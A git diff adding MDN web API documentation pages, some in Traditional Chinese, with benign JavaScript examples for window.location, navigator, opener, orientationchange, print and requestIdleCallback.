+<h5 id="Nestle_the_variables_obtained_through_the_window.location.search_string_in_an_object_named_oGetVars_also_attempting_to_recognize_their_typeof">Nestle the variables obtained through the <code>window.location.search</code> string in an object named <code>oGetVars</code>, also attempting to recognize their <code><a href="/en/JavaScript/Reference/Operators/typeof" title="en/JavaScript/Reference/Operators/typeof">typeof</a></code>:</h5>
+<pre class="brush: js">var oGetVars = {};
+
+function buildValue(sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+if (window.location.search.length &gt; 1) {
+  for (var aItKey, nKeyId = 0, aCouples = window.location.search.substr(1).split("&amp;"); nKeyId &lt; aCouples.length; nKeyId++) {
+    aItKey = aCouples[nKeyId].split("=");
+    oGetVars[unescape(aItKey[0])] = aItKey.length &gt; 1 ? buildValue(unescape(aItKey[1])) : null;
+  }
+}
+
+// alert(oGetVars.yourVar);
+</pre>
+<p>…the same thing obtained by an anonymous constructor – useful for a global variable declaration:</p>
+<pre class="brush: js">var oGetVars = new (function (sSearch) {
+  var rNull = /^\s*$/, rBool = /^(true|false)$/i;
+  function buildValue(sValue) {
+    if (rNull.test(sValue)) { return null; }
+    if (rBool.test(sValue)) { return sValue.toLowerCase() === "true"; }
+    if (isFinite(sValue)) { return parseFloat(sValue); }
+    if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+    return sValue;
+  }
+  if (sSearch.length &gt; 1) {
+    for (var aItKey, nKeyId = 0, aCouples = sSearch.substr(1).split("&amp;"); nKeyId &lt; aCouples.length; nKeyId++) {
+      aItKey = aCouples[nKeyId].split("=");
+      this[unescape(aItKey[0])] = aItKey.length &gt; 1 ? buildValue(unescape(aItKey[1])) : null;
+    }
+  }
+})(window.location.search);
+
+// alert(oGetVars.yourVar);
+</pre>
+<h5 id="Using_bookmars_without_changing_the_window.location.hash_property">Using bookmars without changing the <code>window.location.hash</code> property:</h5>
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta content="text/html; charset=UTF-8" http-equiv="Content-Type" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { window.location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.&lt;/p&gt;
+&lt;p id="myBookmark1"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark2');"&gt;Go to bookmark #2&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;p&gt;Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
+&lt;p&gt;Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.&lt;/p&gt;
+&lt;p&gt;Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.&lt;/p&gt;
+&lt;p&gt;Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.&lt;/p&gt;
+&lt;p id="myBookmark2"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark1');"&gt;Go to bookmark #1&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark1', false);"&gt;Go to bookmark #1 without using location.hash&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark3');"&gt;Go to bookmark #3&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.&lt;/p&gt;
+&lt;p&gt;Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.&lt;/p&gt;
+&lt;p id="myBookmark3"&gt;&lt;em&gt;Here is the bookmark #3&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.&lt;/p&gt;
+&lt;p&gt;Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.&lt;/p&gt;
+&lt;p&gt;Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.&lt;/p&gt;
+&lt;p&gt;Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.&lt;/p&gt;
+&lt;p&gt;Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.&lt;/p&gt;
+&lt;p&gt;Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.&lt;/p&gt;
+&lt;p&gt;Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.&lt;/p&gt;
+&lt;p&gt;Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.&lt;/p&gt;
+&lt;p&gt;Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.&lt;/p&gt;
+&lt;p&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<div class="note">
+ <strong>Note:</strong> The function <code>showNode</code> is also an example of the use of the <code><a href="/en/JavaScript/Reference/Statements/for" title="en/JavaScript/Reference/Statements/for">for</a></code> cycle without a <code>statement</code> section. In this case <strong>a semicolon is always put immediately after the declaration of the cycle</strong>.</div>
+<p>…the same thing but with a dynamic page scroll:</p>
+<pre class="brush: js">var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame &gt; nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash &amp;&amp; _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId &gt; -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+</pre>
+<h3 id="See_also">See also</h3>
+<p><a href="/en/DOM/Manipulating_the_browser_history" title="en/DOM/Manipulating the browser history">Manipulating the browser history</a></p>
+<h3 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h3>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p>HTML Specification: <var>window</var> . <code title="dom-location"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#dom-location">location</a></code></p>
+<p>{{ languages( { "fr": "fr/DOM/window.location", "ja": "ja/DOM/window.location" } ) }}</p>
diff --git a/files/zh-tw/web/api/window/navigator/index.html b/files/zh-tw/web/api/window/navigator/index.html
new file mode 100644
index 0000000000..f729c810a9
--- /dev/null
+++ b/files/zh-tw/web/api/window/navigator/index.html
@@ -0,0 +1,58 @@
+---
+title: Window.navigator
+slug: Web/API/Window/navigator
+translation_of: Web/API/Window/navigator
+---
+<div>{{APIRef}}</div>
+
+<p>The <code>Window.navigator</code> read-only property returns a reference to the {{domxref("Navigator")}} object, which can be queried for information about the application running the script.</p>
+
+<h2 id="Example" name="Example">語法</h2>
+
+<pre class="syntaxbox"><em>navigatorObject<code> = window.navigator</code></em></pre>
+
+<h2 id="Specification" name="Specification">範例</h2>
+
+<h3 id="Example_1_Browser_detect_and_return_a_string">Example #1: Browser detect and return a string</h3>
+
+<pre class="brush: js">var sBrowser, sUsrAg = navigator.userAgent;
+
+if(sUsrAg.indexOf("Chrome") &gt; -1) {
+    sBrowser = "Google Chrome";
+} else if (sUsrAg.indexOf("Safari") &gt; -1) {
+    sBrowser = "Apple Safari";
+} else if (sUsrAg.indexOf("Opera") &gt; -1) {
+    sBrowser = "Opera";
+} else if (sUsrAg.indexOf("Firefox") &gt; -1) {
+    sBrowser = "Mozilla Firefox";
+} else if (sUsrAg.indexOf("MSIE") &gt; -1) {
+    sBrowser = "Microsoft Internet Explorer";
+}
+
+alert("You are using: " + sBrowser);</pre>
+
+<h3 id="Example_2_Browser_detect_and_return_an_index">Example #2: Browser detect and return an index</h3>
+
+<pre class="brush: js">function getBrowserId () {
+
+    var
+        aKeys = ["MSIE", "Firefox", "Safari", "Chrome", "Opera"],
+        sUsrAg = navigator.userAgent, nIdx = aKeys.length - 1;
+
+    for (nIdx; nIdx &gt; -1 &amp;&amp; sUsrAg.indexOf(aKeys[nIdx]) === -1; nIdx--);
+
+    return nIdx
+
+}
+
+console.log(getBrowserId());</pre>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<ul>
+ <li>{{SpecName("HTML5 W3C", "webappapis.html#the-navigator-object","window.navigator")}}</li>
+ <li>{{SpecName("HTML5.1", "webappapis.html#the-navigator-object", "window.navigator")}}</li>
+ <li>{{SpecName("HTML WHATWG", "timers.html#the-navigator-object", "window.navigator")}}</li>
+</ul>
+
+<h2 id="See_also" name="See_also">參見</h2>
diff --git a/files/zh-tw/web/api/window/opener/index.html b/files/zh-tw/web/api/window/opener/index.html
new file mode 100644
index 0000000000..e7ddb3e8c1
--- /dev/null
+++ b/files/zh-tw/web/api/window/opener/index.html
@@ -0,0 +1,30 @@
+---
+title: Window.opener
+slug: Web/API/Window/opener
+translation_of: Web/API/Window/opener
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">概要</h2>
+
+<p>回傳一個開啟目前視窗（window）之視窗的參考（reference）。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><var>objRef</var> = window.opener;
+</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush:js">if (window.opener != indexWin) {
+  referToTop(window.opener);
+}
+</pre>
+
+<h2 id="Notes" name="Notes">備註</h2>
+
+<p>當一個視窗是由另一個視窗所開啟（使用 {{domxref("Window.open")}} 或一個帶有 <code><a href="/zh-TW/docs/Web/HTML/Element/a#attr-target">target</a></code> 屬性設定的連結），被開啟的這個視窗會於 <strong>window.opener</strong> 保留開啟它的第一個視窗之參考。假如目前的視窗沒有開啟它的視窗，則會回傳 NULL。</p>
+
+<p>Windows Phone 瀏覽器不支援 <code>window.opener</code>（測試版本為 Microsoft Edge 25.10586.36.0）。若 <code>window.opener</code> 為不同的安全區域（security zone），則 IE 也不支援此屬性。</p>
+
+<p>在 <a href="https://caniuse.com/#search=noopener">某些瀏覽器</a>中，在發起連結的標籤中加入 <code>rel="noopener"</code> 屬性，可以阻止設定 <code>window.opener</code> 視窗參考。</p>
diff --git a/files/zh-tw/web/api/window/orientationchange_event/index.html b/files/zh-tw/web/api/window/orientationchange_event/index.html
new file mode 100644
index 0000000000..fe5264163c
--- /dev/null
+++ b/files/zh-tw/web/api/window/orientationchange_event/index.html
@@ -0,0 +1,69 @@
+---
+title: 'Window: orientationchange event'
+slug: Web/API/Window/orientationchange_event
+tags:
+  - Sensors
+translation_of: Web/API/Window/orientationchange_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>orientationchange</code> 事件在設備方向改變時被觸發。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">冒泡</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">可取消</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">介面</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">事件處理器</th>
+   <td><code><a href="/zh-TW/docs/Web/API/Window/onorientationchange">onorientationchange</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="範例">範例</h2>
+
+<p>可於 <code><a href="/zh-TW/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> 方法中使用 <code>abort</code> 事件：</p>
+
+<pre class="brush:js;">window.addEventListener("orientationchange", function() {
+  console.log("the orientation of the device is now " + screen.orientation.angle);
+});
+</pre>
+
+<p>或使用 <code><a href="/zh-TW/docs/Web/API/Window/onorientationchange">onorientationchange</a></code> 事件處理器屬性：</p>
+
+<pre class="brush: js">window.onorientationchange = function() {
+  console.log("the orientation of the device is now " + screen.orientation.angle);
+};</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Compat', '#event-orientationchange', 'orientationchange')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Window.orientationchange_event")}}</p>
diff --git a/files/zh-tw/web/api/window/print/index.html b/files/zh-tw/web/api/window/print/index.html
new file mode 100644
index 0000000000..4e2a543cf5
--- /dev/null
+++ b/files/zh-tw/web/api/window/print/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.print()
+slug: Web/API/Window/print
+translation_of: Web/API/Window/print
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">摘要</h2>
+
+<p>打開列印視窗來列印當前的文件。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="eval">window.print()
+</pre>
+
+<h2 id="Specification" name="Specification">注釋</h2>
+
+<p>Starting with Chrome {{CompatChrome(46.0)}} this method is blocked inside an {{htmlelement("iframe")}} unless its sandbox attribute has the value <code>allow-modals</code>.</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#printing', 'print()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en/Printing" title="en/Printing">Printing</a></li>
+ <li>{{ domxref("window.onbeforeprint") }}</li>
+ <li>{{ domxref("window.onafterprint") }}</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/DOM/window.print", "it": "it/DOM/window.print" , "zh-cn": "zh-cn/DOM/window.print" } ) }}</p>
diff --git a/files/zh-tw/web/api/window/requestidlecallback/index.html b/files/zh-tw/web/api/window/requestidlecallback/index.html
new file mode 100644
index 0000000000..743e7b2a39
--- /dev/null
+++ b/files/zh-tw/web/api/window/requestidlecallback/index.html
@@ -0,0 +1,119 @@
+---
+title: window.requestIdleCallback()
+slug: Web/API/Window/requestIdleCallback
+translation_of: Web/API/Window/requestIdleCallback
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p>The <code><strong>window.requestIdleCallback()</strong></code> method queues a function to be called during a browser's idle periods. This enables developers to perform background and low priority work on the main event loop, without impacting latency-critical events such as animation and input response. Functions are generally called in first-in-first-out order; however, callbacks which have a <code>timeout</code> specified may be called out-of-order if necessary in order to run them before the timeout elapses.</p>
+
+<div class="note">
+<p>You can call <code>requestIdleCallback()</code> within an idle callback function to schedule another callback to take place no sooner than the next pass through the event loop.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>var <em>handle</em> = w<em>indow</em>.requestIdleCallback(<em>callback</em>[, <em>options</em>])</code></pre>
+
+<h3 id="Returns" name="Returns">Return value</h3>
+
+<p>An ID which can be used to cancel the callback by passing it into the {{domxref("window.cancelIdleCallback()")}} method.</p>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>A reference to a function that should be called in the near future, when the event loop is idle. The callback function is passed a {{domxref("IdleDeadline")}} object describing the amount of time available and whether or not the callback has been run because the timeout period expired.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Contains optional configuration parameters. Currently only one property is defined:
+ <ul>
+  <li><code>timeout</code>: If <code>timeout</code> is specified and has a positive value, and the callback has not already been called by the time timeout milliseconds have passed, the timeout will be called during the next idle period, even if doing so risks causing a negative performance impact.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Example</h2>
+
+<p>See our <a href="/en-US/docs/Web/API/Background_Tasks_API#Example">complete example</a> in the article <a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>.</p>
+
